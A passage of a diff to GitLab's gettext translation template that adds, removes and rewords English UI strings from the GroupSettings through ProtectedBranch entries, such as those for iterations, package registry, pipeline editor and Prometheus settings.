msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16396,13 +16069,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16585,6 +16258,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16703,6 +16379,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16788,9 +16467,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16938,6 +16614,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -17120,9 +16799,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17628,13 +17304,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17724,9 +17403,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17880,6 +17556,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17892,6 +17580,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17931,6 +17622,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17946,9 +17640,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17961,12 +17652,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17989,6 +17674,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -18031,9 +17719,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -18073,12 +17758,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -18103,9 +17800,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -18256,6 +17950,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18331,25 +18028,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18358,13 +18037,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18385,7 +18061,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18394,9 +18070,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18421,6 +18094,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18832,18 +18508,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18853,6 +18547,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18865,6 +18562,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18883,9 +18586,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18985,9 +18694,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19036,6 +18751,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -19126,9 +18844,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -19156,18 +18871,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -19279,9 +18982,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19441,9 +19141,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19676,9 +19373,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19886,6 +19580,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -20121,6 +19818,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20355,6 +20055,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20373,9 +20082,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20595,9 +20301,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20667,6 +20370,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20688,6 +20394,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20700,6 +20409,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20760,9 +20472,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21541,9 +21250,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21686,9 +21392,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21947,9 +21650,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -22125,9 +21825,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -22176,7 +21873,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -22233,13 +21930,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22438,9 +22135,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22459,7 +22153,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22768,9 +22462,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22957,9 +22648,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -23102,9 +22790,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23742,10 +23427,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23823,6 +23508,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23853,6 +23541,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23877,9 +23571,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23931,6 +23622,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23940,15 +23634,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23994,6 +23688,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -24024,6 +23724,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -24216,9 +23922,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24423,10 +24126,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24438,9 +24141,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24450,16 +24150,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24579,10 +24285,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24600,12 +24306,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24717,9 +24429,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24870,13 +24579,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24921,10 +24630,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24936,6 +24645,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25548,6 +25263,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25833,9 +25551,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25863,6 +25578,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25875,9 +25593,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25926,15 +25641,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25983,9 +25692,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26601,9 +26307,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26619,9 +26322,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26706,21 +26406,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26736,18 +26433,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26763,9 +26451,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26778,6 +26463,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26793,7 +26481,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26802,6 +26490,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26811,9 +26502,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26832,9 +26520,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26958,13 +26643,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
+msgstr ""
+
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allowed to force push"
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
